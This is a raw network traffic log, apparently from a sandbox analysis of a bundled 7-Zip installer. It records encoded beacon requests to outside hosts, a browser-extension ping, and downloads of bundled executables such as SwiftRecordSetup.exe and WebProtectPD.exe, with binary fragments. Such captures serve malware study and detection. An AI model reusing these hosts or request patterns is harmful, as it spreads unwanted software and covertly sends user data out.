GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxgZiB55ZFi63BQfH8WBRftYqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EBAkzt/76KlDvoN39ZYYoAGlB3rlXyCF0YO/4St1QYDocEh1ssDf3RqvFUJk7fc2A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoEMSfSPd4gMrtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw44wukdKbWr6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilHPsYeJ7guqL3mQKhyBoITNs IILilpWF0EB1KJjJJfUAE70KA8ZXhbA8YCZx49749XwOtu/CmAKgJUlT431fkCbEvv7B8EBQsLMIR5jdasKUjHLHHjeqvRbJe0G7hafD0cV0gl/F/pYgE70KA8ZXhbA8YCZx4974 B86 WNxeRBjxqYaUP6TQsCGXM8nuRsrwLu S4teDFcGFsLq 3JUmEyXyampC/aqBvwYTPRA/ZZJdGe7ForKgmJMbGviezzI48wTR30dhWKzAQ/GBCUCsKFw34iJcRE4ZONmeuSCxgZcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilEKNSXkoE/uV5pZis9f nTddyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=KSz5qzb2KgJPNjxRBLtb4/blDe4kkWsD/WD6e6SZIIExLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD93wF8xC533Fcga zuhV9q9HBPj1czTaPD6TBgykGtBXjnbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFfUGrm1d5TzRzYd0CRAC1t03RQMh2kgHVCeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:19 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.4 HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:23:33 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:23:33 GMT..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

Range: bytes=130816-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 130816-523263/523264

Content-Length: 392448

Connection: keep-alive
.Y#./[email protected]}R...;B...,..vgQ4...W..O&..
..=.......s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./.
...E..n...........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.
........w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@...
..#...J..h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...
[.6<..M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.
......)..~..b.T.........f...<8...C..$>YC............t..R.....`.*
[email protected]..`.....i...X.y...1.KQ...w,d.....4Oxn..
..... (....6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..
$...l>.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j.
.Y......V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F....
.G...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>.
.=.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...
[..[..i....Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...
e..^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./....
..Zv9.m..P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......
2.....F...@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>
.v..?......>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*&l
t;  rq.L:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...g
O.G'.B.e..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A....
.Z...LVAQd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.
|o.1{Ue..?C^-................T9P.pb..B#.....0_B....:#....v....8<<<< skipped >>>

GET /3428_92a5d683c188790231b1aa2af09de41e/2.pak HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0

Host: dlrkbt247pbk6.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 3074420

Connection: keep-alive

Date: Wed, 22 Apr 2015 07:41:24 GMT

Last-Modified: Wed, 22 Apr 2015 07:33:15 GMT

ETag: "7ee134abdda01aa5c19caf20a854e270"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2535

X-Cache: Hit from cloudfront

Via: 1.1 d49ed3edd173b406741cc9c27a726287.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CgsBJ3XZ2PvS8G2U7kEvbxvWNAVZ3VmNWGeyBG_Kt7CPxf4CeqlUKw==
..............g...............474.db.......I....'...<..A#.<y....
\..-2...a7."....}.zx....(....N.J8...t.J.-Q..C$....G.!;Q`..%...D.>uZ
....s.L........* ...i.5A.`.....j._\.....e.M. ..}.....\.3.[....-...\.$V
.A...P..D......>g...R.gcsw(.xa..x.v.C.]O\&9d.^C.........32n6S98OPK.
.........bF]=..............wpm_v20.0.0.1953_0302.exe..S.nM....m....m..
m..m..l..m.:.\...E....s{.*F.5j.......z.......T.C.t.f.,f..y.^.a.....P.3
.O^:.~L....(.......Z..,...R...xN......*g...2.._.i.y..A[7..K%...W... Jn
.ET.d3.8.A.Rpi>..E..}.......Eb.L/..../.Q.../..q...........[.VZ..4_.
.J.4.(...{..SQ....f....*.....1.}BO..........gD..?..|od...W..].6..a.E..
..*Rz...&...G.....5.dW ..nD7&..4C2......zb.Be..[....T(b...rj..4X....g.
.......u>Y..~..D!...5.Z...w.....w.[...N......M.........i....l..3...
"..W7.D.t.........Cv.r.-........N..1..B...<.......zI.......G.F#Al..
.;..L..[.j.g.w._...~z.../......s...h]..R........K...1....v}~..].....Rd
]?a....#.".]r..-..x....Z...z|`.......x..)..4/...........N..aQG...lq.4`
..`....d>.....wGyf.q.RzN.....9,.t.Rr..=......M.%....l[>..Bt.<
...D..G..S4.$s.g..... ...Y.N.h`..Y...3.5.m."..Pfc%j..$.....R...J..i..x
...?J.T.)L..@%......F9..L.#..`}7....q.%....sj.]. ...r.../z..Ff.<x-b
.d..P..pE..l`k.?:n..Aq.....<..F.....^..r...7.b\....}.,$.p)<..Q..
...U.>.D.....@}4u.....N....#..A 4g2.uU.r}"......#X....d.{.)........
..R..m.DR.d.2.......o#....30O......(g(H.Aro...0.P....tt5.7@W4;....BR.J
1^Lf....H'..q...HMA..of.]w#..?..I..~>FL2.T.v:.&\..${.KB......o.Z.R.
&.<....Zf)...".D<...@_.....WE....*.[\.b..W._?.S{.x..,....pP.<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.usertrust.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:41 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Wed, 22 Apr 2015 04:29:13 GMT

Expires: Sun, 26 Apr 2015 04:29:13 GMT

ETag: 693A216428B8A4188B8872CAD1D9EB12CB5B5488

Cache-Control: max-age=330871,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0...... .F....e*F.yG.b.......2015042
2042913Z0s0q0I0... ........m..Lco.>..... _.~..... .F....e*F.yG.b...
.....p.O.T..0`....u.....20150422042913Z....20150426042913Z0...*.H.....
.........Fn....<..[5I%....E.e.^[email protected]|C....s4..N..bd;*.8.j..
.!...._...^*qU....2.....5..C.A..!"......*.K......3N...F......"...#..j)
...........g.O.<4G.'.H.Q...$@.......}b..X. ..1.v.#.!...H.&.(.SK.IY.
j.....f....)...=o..v.(./.i...S...J ...J.L.H.A5.;r...ze.u#_....

GET /sd?is=sm HTTP/1.1

Range: bytes=196224-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 196224-523263/523264

Content-Length: 327040

Connection: keep-alive
....v~t/..**[email protected]%-P.....0L.r....P8.C?k.......4!....tqQ.nJ.\.r.v
..&k...}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.....o..]...G..4U.Xu.
..L..x..F..8.(...C'...*`.i....9..K(..[.......!..<..3Z............,.
g. '...yO.......J-...;...._.|"..g.....jD">.........*W.l9.0....@ .C.
.....hm.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n...Q.z.p }Sv...t..t...
..g5C:..&@........$\ ....i..7..C B..q..6%."..zg..3......../O...{..^.._
[email protected].|i[9...qF0{.....-Mo'...p.N'....=..#........g.4.]...7....O&
lt;......Ag..y.....w....C.....0a.......Ui.B......]...X.X.".w=a.sa1....
...I&..x....E_.a..K.1.~.`..p{...h....S....Pz./...G.a...O...[/......j2'
y.y.t..._.4.o.....!.......%.m..q..S...A&..*b>...C........D8...b5..=
.s.......xHc~9..5?$...g.c.]PG..m..............q....BG....|.A..Zs..;_. 
[email protected].}.YC...Y....Y..%m.3.^}..
"../..I.u.[...z..>.......y.-6<.wU..%0/..7qJ.n!......r....7b!....
.......P..{.6......0...oB...S0F...../..=}2i.e_/...........[.i.V.}..[..
i.1...... .....h.).-}.{..f...u...f'0.....%........t.4......R....M.....
p.,..E..A.o.u5b..n..&....u.<.(.(LK... .g.........#.>.O..B`.|..0.
1.?.......07....(5.'..P..d.!7...._o...<..v^&...._A3n[S.F.._..${V{..
..#,[..;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!...48.......SN..2.4'
.......g..6WY.D......._..W*.v..=.>[email protected].........|D9i/..y.|W
@...... .8..t...M....q..x..$P..i..?%$......j...z.C..@.,p.vW..!y..v.I..
..~"9...X>......NA....5j.E...q[.....Y...h...O=cS.fU..D.]..<....r
..3f.....3..!x..[t..SO. ....u1.m{Z"..Jw....O*..SG*..?TYb......x.~.<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:56 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /sponsored/webprotectorplus/eula-webprotectorplus.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2z5psu5fxw71b.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Wed, 22 Apr 2015 08:07:54 GMT

Last-Modified: Thu, 02 Apr 2015 12:59:57 GMT

Expires: Wed, 22 Apr 2015 08:17:54 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 de80d303508fe0dff53cda1d21ac598e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _cZxMORYF4zgHsQFGKX3zFMjJRog_ZJNOZowapGz5m8I5PdQgPFpfA==
2066.............\.n#Gv.=~......%y..d=..PTk.....ed.....${...v7.Q..~...
...>I.......ek3.-...........8..&7C...ul...K.g^...\..;99....?L......
.$..<*.4........^......n.;.}s.f.....3.z....GE...y1.....2..u..?....w
.}.o..a0...W.....l.dyX..z[,...._...}...~.....?.'.<...n.......Y...;.
.o....h.d.(yg...v.....M0...$..A,./..8.....o.l>W.-.u...39.r..Y..w...
VoeJ.Dw..p..,.DE.c......m.....sk......|..r...m.....8.}|.....9z..^..GNO
.F.......1.....6.....b_pt.;]..q.f....3.C...../7f..9..-....u...5....63.
,.og...o......._.....'.!~....[......*..c..o......Q.4.... ....y.K.4..;.
Y=t..r...B,d.&...j.tQ...6...Z.8......>...o.....f....&Xf.l.64....`.\
."..t'.ut.PpH..$f}..0.M....,.........p..p..Y.wa.8Jp..%/N6?Z.;....;....
..N...k....?...%.... .R.mY.AV...Ur..(.........%.*([email protected]..&..E.
8\.f.M. ...,M.b.r.#..d....o....y.)...|..y.4 1,.....a.o...w.>.....!.
.n..t.;<..a..........b1.2.,1..4f..b..Yd.....JD.c...l...}...).b.|l..
...<.tP..........1.Ap.!...........`.D...pR.i.. .G..||...9.2..}..|.n
A.(V .*..v.....0.....eCk. ...m.s`..<.!...".b.d..wLT...Mg.a..h..qT@q
S.H.....V!f. E.f.....}6V.%.7K7Y......,.;v..E..MS;.3KY<.....n.......
$T.....6P0.....3...{..<...H.Z%.$._.,.W.R(.l......(..{.%.._.Qp..l`..
....4..e..w... n.\.:........T.....".C.{H...M6.......(._....{.'..x.1.".
..Q.o.".b:.c,~..l.NC4...[<F?...>$.....3.......XM.m...:.8..u....n
 ..0.i...........wr.e..Y.\....p.W2Y.(I..g.".....m..F..._.X....=.mK...6
...u..A..a...a....R..ma.....1........xJ..... #....|.a...1..8...j....be
...D."..i..C.....| h......=.......P{.`...j.....8;........I.d.\p..G<<< skipped >>>

GET /17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS  qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu967T3FsALGJiApIj GXdVcREtCUHeR8YCF3picd9c3AkGezCcoAUR1qA6wWHAZ0LKJ2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=18230-36461

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 18232

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 18230-36461/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 ff7053cb54d39315806cac9d50632264.cloudfront.net (CloudFront)

X-Amz-Cf-Id: osdZmrM0qIG1Dp-4YM5wLs_39m6mvM2QTz3uPQ-n0W9_nK1-ebn7rQ==
[email protected]@..E......%[email protected][email protected]$
..........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....
@... [email protected][email protected]@[email protected]@...
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W
..0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`.@
.V.......W......?.u..=..B.\[email protected]....([email protected].
............j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS
.F..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W...
......H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u
.tK9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5..
...Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$
.t.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\
u.8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..
{.\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V
.........u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@
...;[email protected]........._^[email protected]..'.E..u...0
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. .
.....ANu.^[email protected].$.P.t$...|p@...^[email protected]....#
[email protected][email protected]...`[email protected].
[email protected]..&._^][email protected].;u.u.3.@..
3.^][email protected]@[email protected][email protected]..
..../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@....<<< skipped >>>

GET /__utm.gif?utmwv=5.6.4&utms=2&utmn=1371001495&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429690987281&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:14 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477473

Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:14 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477473..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=3&utmn=21225012&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429690997195&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

